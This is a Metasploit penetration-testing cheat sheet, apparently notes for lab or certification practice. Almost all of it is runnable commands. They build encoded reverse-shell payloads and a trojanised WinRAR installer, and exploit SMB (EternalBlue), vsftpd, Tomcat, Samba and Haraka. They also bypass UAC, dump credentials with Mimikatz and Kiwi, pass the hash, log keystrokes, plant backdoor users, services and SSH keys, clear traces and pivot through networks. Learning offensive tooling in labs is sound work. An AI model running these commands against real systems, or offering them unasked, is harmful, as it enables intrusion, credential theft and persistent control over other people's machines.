sudo mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
# msfconsole
load db_autopwn
# Enumerates exploits for each of the open ports
db_autopwn -p -t
# Limit to only the 445 port
db_autopwn -p -t -PI 445
# msfconsole
analyze
vulns
# NESSUS Results Import
db_import /home/kali/Downloads/MS3_zph3t5.nessus
hosts
services
vulns
vulns -p 445
search cve:2017 name:smb
search MS12-020
search cve:2019 name:rdp
search cve:2015 name:ManageEngine
search PHP CGI Argument Injection
# WMAP in msfconsole
load wmap
wmap_sites -a <TARGET_IP>
wmap_sites -l
wmap_targets -t <URL>
wmap_targets -l
wmap_run -t
wmap_run -e
wmap_vulns -l
# msfconsole
use auxiliary/scanner/http/http_put
Payloads
MSFVenom shells
msfvenom --list payloads
msfvenom --list formats
msfvenom --list encoders
# Win 32bit
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f exe > <PAYLOAD_FILE_x86>.exe
# Win 64bit
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f exe > <PAYLOAD_FILE_x64>.exe
# Linux 32bit
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f elf > <PAYLOAD_FILE_x86>
# Linux 64bit
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f elf > <PAYLOAD_FILE_x64>
# Win 32bit + shikata_ga_nai encoded
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -e x86/shikata_ga_nai -f exe > <PAYLOAD_ENCODED_x86>.exe
# Use more encoding iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -i 10 -e x86/shikata_ga_nai -f exe > <PAYLOAD_ENCODED_x86>.exe
# Linux 32bit + shikata_ga_nai encoded
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -i 10 -e x86/shikata_ga_nai -f elf > <PAYLOAD_ENCODED_x86>
# Inject into Portable Executables
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -e x86/shikata_ga_nai -i 10 -f exe -x winrar-x32-621.exe > winrar.exe
# JSP Java Meterpreter Reverse TCP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp #TomCat content management system
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php\ #PHP Web Application
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
MSF Staged and Non Staged Payload
# MSF STAGED Payload
windows/x64/meterpreter/reverse_tcp
# MSF NON-STAGED Payload
windows/x64/meterpreter_reverse_https
# Upload the payload on the target and try it with MSFconsole
cd Payloads
sudo python -m http.server 8080
msfconsole -q
use multi/handler
set payload <MSFVENOM_PAYLOAD>
set LHOST <MSFVENOM_LOCAL_HOST_IP>
set LPORT <MSFVENOM_LOCAL_PORT>
run
# Automation
ls -lah /usr/share/metasploit-framework/scripts/resource
# Create a handler resource
nano handler.rc
# Insert the following lines
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run
# Save it and exit
msfconsole -q -r handler.rc
# msfconsole
resource handler.rc
# Export inserted msfconsole commands into a resource script
makerc <FILE>.rc
Win Exploitation
Default MSF Start
service postgresql start && msfconsole -q
db_status
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>
workspace -a <SERVICE_NAME>
db_nmap -sS -sV -O <TARGET_IP>
# db_nmap -sS -sV -O -p- <TARGET_IP>
# For every exploit, check 'options' and 'info', setup accordingly
HFS
# HFS
search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
SMB
# SMB
search type:auxiliary EternalBlue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_eternalblue
WINRM
# WinRM
search type:auxiliary winrm
use auxiliary/scanner/winrm/winrm_auth_methods
# Brute force WinRM login
search winrm_login
use auxiliary/scanner/winrm/winrm_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
# Launch command
search winrm_cmd
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME <USER>
set PASSWORD <PW>
set CMD whoami
search winrm_script
use exploit/windows/winrm/winrm_script_exec
set USERNAME <USER>
set PASSWORD <PW>
set FORCE_VBS true
TOMCAT
# APACHE TOMCAT
search type:exploit tomcat_jsp
use exploit/multi/http/tomcat_jsp_upload_bypass
check
set payload java/jsp_shell_bind_tcp
set SHELL cmd
run
Linux Exploitation
FTP
# FTP
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
/bin/bash -i
SAMBA
# SAMBA
search type:exploit name:samba
use exploit/linux/samba/is_known_pipename
# After exploit, proceed with Shell To Meterpreter if necessary
SSH
# SSH
search libssh_auth_bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true
run
sessions
sessions 1
# After exploit, proceed with Shell To Meterpreter if necessary
# Some shell enumeration
id
cat /etc/*release
uname -r
SMTP
# SMTP
search libssh_auth_bypass
use exploit/linux/smtp/haraka
set SRVPORT 9898
set email_to root@attackdefense.test
set payload linux/x64/meterpreter_reverse_http
set LHOST <LOCAL_IP>
set LPORT 8080
run
# This is a NON-staged payload
Post-Exploitation Fundamentals
# METERPRETER
run post/windows/manage/migrate
migrate <pid> #more quickly
## Pivoting
portfwd add -l <LOCAL_PORT> -p <TARGET_PORT> -r <TARGET_IP>
# Manual SHELL TO METERPRETER
background # or CTRL+Z
sessions
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST <LOCAL_IP>
run
sessions
sessions 2
# Auto SHELL TO METERPRETER
sessions -u 1
sessions 3
Win Post-Exploitation
To search for files and Folders
<pre><code>dir /b/s "\*.conf\*" dir /b/s "\*.txt\*" dir /b/s "\*filename\*" cd #it's the same as 'pwd' command in linux type #it's the same as 'cat' command in linux systeminfo #information about the Operating System # Check Users cat /etc/passwd #Users in linux List drives on the machine <strong>fsutil fsinfo drives #Check Drives </strong></code></pre>HTTP/HFS
# Meterpreter
sysinfo
getuid
getsystem
getuid
getprivs
hashdump
show_mount
ps
migrate
# msfconsole
use post/windows/manage/migrate
use post/windows/gather/win_privs #CHECK UAC/Privileges
use post/windows/gather/enum_logged_on_users
use post/windows/gather/checkvm
use post/windows/gather/enum_applications
use post/windows/gather/enum_av_excluded
use post/windows/gather/enum_computers
use post/windows/gather/enum_patches
use post/windows/gather/enum_shares
use post/windows/manage/enable_rdp
set SESSION 1
loot
UAC
# Meterpreter
shell
# Win CMD
net users
net localgroup administrators
# Bypass UAC
background
sessions
use exploit/windows/local/bypassuac_injection BYPASS UAC (Background the session first)
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LPORT <LOCAL_PORT>
set TARGET Windows\ x64
getsystem
hashdump
TOKEN IMPERSONATION
# Privilege Escalation - Meterpreter
getuid
getprivs
hashdump
load incognito
list_tokens -u
impersonate_token "ATTACKDEFENSE\Administrator"
getuid
ps
migrate <PID>
hashdump
DUMP HASHES
# Kiwi - Meterpreter
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets
# Mimikatz - Meterpreter
cd C:\\
mkdir Temp
cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords
# PASS THE HASH - PSExec
hashdump
exit
search psexec
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
set SMBPass <ADMINISTRATOR_LM:NTLM_HASH>
PERSISTENCE
# Administrative Privileges required!
# RDP - Meterpreter
background
use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set SESSION 1
# Regain access
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_IP>
set LPORT <LOCAL_PORT>
# Enabling RDP
use post/windows/manage/enable_rdp
sessions
set SESSION 1
# KEYLOGGING - Meterpreter
keyscan_start
keyscan_dump
keyscan_stop
CLEARING
# Meterpreter
clearenv
PIVOTING
# Meterpreter
run autoroute -s <TARGET1_SUBNET_NETWORK>
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
set PORTS 1-100
# Port Forwarding
sessions 1
portfwd add -l <LOCAL_PORT> -p <TARGET2_PORT> -r <TARGET2_IP>
background
db_nmap -sS -sV -p <LOCAL_PORT> localhost
# Target2 Exploitation
use exploit/windows/http/badblue_passthru
set payload windows/meterpreter/bind_tcp
set RHOSTS <TARGET2_IP>
set LPORT <LOCAL_PORT2>
run
Linux Post-Exploitation
# Meterpreter - 'root' user
shell
# Local machine Enumeration
/bin/bash -i
whoami
cat /etc/passwd #Users and services
groups root
cat /etc/*issue
cat /etc/*release
uname -a
uname -r
netstat -antp
ss -tnl
ps aux
env
lsblk -l #Check Drives
# msfconsole
use post/linux/gather/enum_configs
use post/multi/gather/env
use post/linux/gather/enum_network
use post/linux/gather/enum_protections
use post/linux/gather/enum_system
use post/linux/gather/checkcontainer
use post/linux/gather/checkvm
use post/linux/gather/enum_users_history
set SESSION 1
loot
# PRIVILEGE ESCALATION - chkrootkit
ps aux
use exploit/unix/local/chkrootkit
set CHKROOTKIT /bin/chkrootkit
set SESSION 1
set LHOST <LOCAL_IP>
# Dumping Hashes
use post/linux/gather/hashdump
use post/multi/gather/ssh_creds
use post/linux/gather/ecryptfs_creds
use post/linux/gather/enum_psk
use post/linux/gather/pptpd_chap_secrets
set SESSION 1
# PERSISTENCE
# Meterpreter - Manual
shell
whoami
root
cat /etc/passwd
useradd -m ftp -s /bin/bash
passwd ftp
usermod -aG root ftp
usermod -u 15 ftp
groups ftp
# SSH Key
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
set SESSION 1
# Persistence Test
loot
cat /root/.msf4/loot/DATE_Linux_Persistenc_<TARGET_IP>_id_rsa_.txt
# Exit all the msfconsole sessions and close it
exit -y
vim ssh_key # paste Key
chmod 0400 ssh_key
ssh -i ssh_key root@<TARGET_IP>